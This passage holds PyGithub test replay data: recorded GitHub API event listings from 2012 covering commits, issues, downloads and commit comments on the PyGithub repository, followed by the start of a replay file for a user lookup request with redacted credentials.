Repository"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"id":"1556126182","created_at":"2012-05-26T11:25:50Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"619eae8d51c5988f0d2889fc767fa677438ba95d","size":11,"push_id":80673538,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":false,"message":"Merge branch 'develop'"},{"sha":"3a3bf4763192ee1234eb0557628133e06f3dfc76","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/3a3bf4763192ee1234eb0557628133e06f3dfc76","distinct":true,"message":"Merge branch 'master' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\tgithub/Github.py\n\tgithub/Requester.py"},{"sha":"608f17794664f61693a3dc05e6056fea8fbef0ff","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/608f17794664f61693a3dc05e6056fea8fbef0ff","distinct":true,"message":"Restore some form of Authorization header in replay data"},{"sha":"2c04b8adbd91d38eef4f0767337ab7a12b2f684b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2c04b8adbd91d38eef4f0767337ab7a12b2f684b","distinct":true,"message":"Allow test without pre-set-up Github"},{"sha":"5b97389988b6fe43e15a079702f6f1671257fb28","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5b97389988b6fe43e15a079702f6f1671257fb28","distinct":true,"message":"Test three authentication schemes"},{"sha":"12747613c5ec00deccf296b8619ad507f7050475","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/12747613c5ec00deccf296b8619ad507f7050475","distinct":true,"message":"Test Issue.getComments"},{"sha":"2982fa96c5ca75abe717d974d83f9135d664232e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2982fa96c5ca75abe717d974d83f9135d664232e","distinct":true,"message":"Test the new Repository.full_name attribute"},{"sha":"619eae8d51c5988f0d2889fc767fa677438ba95d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/619eae8d51c5988f0d2889fc767fa677438ba95d","distinct":true,"message":"Improve coverage of AuthenticatedUser"}]},"id":"1556114751","created_at":"2012-05-26T10:01:39Z"},{"type":"IssuesEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"closed","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","comments":0,"title":"Publish version 0.7","updated_at":"2012-05-25T17:32:32Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:32Z","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Project management","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","color":"444444"}],"html_url":"https://github.com/PyGithub/PyGithub/issues/29","state":"closed"}},"id":"1555940993","created_at":"2012-05-25T17:32:33Z"},{"type":"IssuesEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"closed","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","comments":1,"title":"Implement all authentication schemes","updated_at":"2012-05-25T17:32:31Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:31Z","labels":[{"name":"Functionalities","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","color":"e102d8"}],"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/PyGithub/PyGithub/issues/15","state":"closed"}},"id":"1555940986","created_at":"2012-05-25T17:32:33Z"},{"type":"CreateEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"master_branch":"master","ref_type":"tag","ref":"v0.7","description":"Python library implementing the full Github API v3"},"id":"1555936661","created_at":"2012-05-25T17:19:48Z"},{"type":"DeleteEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"ref_type":"branch","ref":"topic/Authentication"},"id":"1555936660","created_at":"2012-05-25T17:19:48Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","size":4,"push_id":80573368,"ref":"refs/heads/master","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":true,"message":"Merge branch 'develop'"}]},"id":"1555936659","created_at":"2012-05-25T17:19:48Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","size":3,"push_id":80573367,"commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"}],"ref":"refs/heads/develop"},"id":"1555936657","created_at":"2012-05-25T17:19:47Z"},{"type":"CreateEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"master_branch":"master","ref":"topic/Authentication","description":"Python library implementing the full Github API v3","ref_type":"branch"},"id":"1555833283","created_at":"2012-05-25T12:24:21Z"},{"type":"IssuesEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"opened","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","title":"Publish version 0.7","comments":0,"updated_at":"2012-05-25T11:47:59Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"created_at":"2012-05-25T11:47:06Z","due_on":"2012-05-26T07:00:00Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","id":124045,"open_issues":2,"closed_issues":0,"description":"","state":"open"},"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/PyGithub/PyGithub/issues/29","labels":[{"name":"Project management","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","color":"444444"}],"state":"open"}},"id":"1555822981","created_at":"2012-05-25T12:02:48Z"},{"type":"IssueCommentEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"comment":{"created_at":"2012-05-25T06:31:42Z","body":"It means that there will be three ways to create an instance of the Github class:\n github = Github()\n github = Github( login, password )\n github = Github( oauth_token )\n","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5924198","id":5924198,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":1,"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","title":"Implement all authentication schemes","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":null,"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Functionalities","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","color":"e102d8"}],"html_url":"https://github.com/PyGithub/PyGithub/issues/15","state":"open"}},"id":"1555742639","created_at":"2012-05-25T06:31:42Z"},{"type":"WatchEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"action":"started"},"id":"1555738288","created_at":"2012-05-25T06:05:21Z"},{"type":"PushEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"head":"527ce7459a2e60d1536883f19b9bc6850d71127b","size":5,"push_id":79877715,"commits":[{"sha":"287bc541542f9d32339e7dd4b36a511cab2ebdae","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/287bc541542f9d32339e7dd4b36a511cab2ebdae","distinct":true,"message":"Generate more coverage information"},{"sha":"588a4a9a355096c00a2bb25f27664d2115e120ac","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/588a4a9a355096c00a2bb25f27664d2115e120ac","distinct":true,"message":"Test AuthenticatedUser watching"},{"sha":"815720f0deb376c34166c27b6e3b73e5c1f5b1a3","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/815720f0deb376c34166c27b6e3b73e5c1f5b1a3","distinct":true,"message":"Test Authorization"},{"sha":"473c92adcd8bbbd32003d9c65666ede66059551b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/473c92adcd8bbbd32003d9c65666ede66059551b","distinct":true,"message":"Test Download and CommitComment"},{"sha":"527ce7459a2e60d1536883f19b9bc6850d71127b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/527ce7459a2e60d1536883f19b9bc6850d71127b","distinct":true,"message":"Merge commit 'c93f9cc8484b7' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\ttest/IntegrationTest.py"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"id":"1554729420","created_at":"2012-05-22T19:59:48Z"},{"type":"DownloadEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:15:29Z","content_type":"text/plain","download_count":0,"url":"https://api.github.com/repos/PyGithub/PyGithub/downloads/242562","id":242562,"description":null,"html_url":"https://github.com/downloads/PyGithub/PyGithub/Foobar.txt"}},"id":"1554712197","created_at":"2012-05-22T19:15:30Z"},{"type":"DownloadEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:11:49Z","content_type":"text/richtext","download_count":0,"url":"https://api.github.com/repos/PyGithub/PyGithub/downloads/242556","id":242556,"description":"Download created by PyGithub","html_url":"https://github.com/downloads/PyGithub/PyGithub/Foobar.txt"}},"id":"1554710791","created_at":"2012-05-22T19:11:49Z"},{"type":"DownloadEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"download":{"name":"Foobar.txt","created_at":"2012-05-22T18:58:32Z","size":1024,"content_type":"text/plain","url":"https://api.github.com/repos/PyGithub/PyGithub/downloads/242550","download_count":0,"id":242550,"description":null,"html_url":"https://github.com/downloads/PyGithub/PyGithub/Foobar.txt"}},"id":"1554705673","created_at":"2012-05-22T18:58:32Z"},{"type":"CommitCommentEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"comment":{"position":19,"created_at":"2012-05-22T18:53:25Z","line":211,"body":"Foobar","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:53:25Z","url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1362020","id":1362020,"path":"src/github/AuthenticatedUser.py","html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362020","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"id":"1554703698","created_at":"2012-05-22T18:53:25Z"},{"type":"CommitCommentEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"comment":{"position":3,"created_at":"2012-05-22T18:50:02Z","line":null,"body":"Comment also created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:50:02Z","url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1362001","id":1362001,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362001","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"id":"1554702296","created_at":"2012-05-22T18:50:02Z"},{"type":"CommitCommentEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"comment":{"position":null,"created_at":"2012-05-22T18:49:34Z","line":26,"body":"Comment created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:49:34Z","url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1362000","id":1362000,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362000","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"id":"1554702087","created_at":"2012-05-22T18:49:34Z"},{"type":"CommitCommentEvent","repo":{"id":3544490,"url":"https://api.github.com/repos/PyGithub/PyGithub","name":"PyGithub/PyGithub"},"public":true,"actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"url":"https://api.github.com/users/jacquev6","login":"jacquev6"},"payload":{"comment":{"position":null,"created_at":"2012-05-22T18:40:18Z","body":"Comment created by PyGithub","line":null,"commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:40:18Z","url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1361949","id":1361949,"path":null,"html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361949","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"id":"1554698320","created_at":"2012-05-22T18:40:18Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetPendingInvitations.txt0000644000175100001660000001750614756101563026262 0ustar00runnerdockerhttps GET api.github.com None /users/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '554'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4955'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"4e931612aa9051643f0a428d2ae60b2e"'), ('date', 'Sun, 27 May 2012 05:34:26 GMT'), ('content-type', 'application/json; charset=utf-8')] 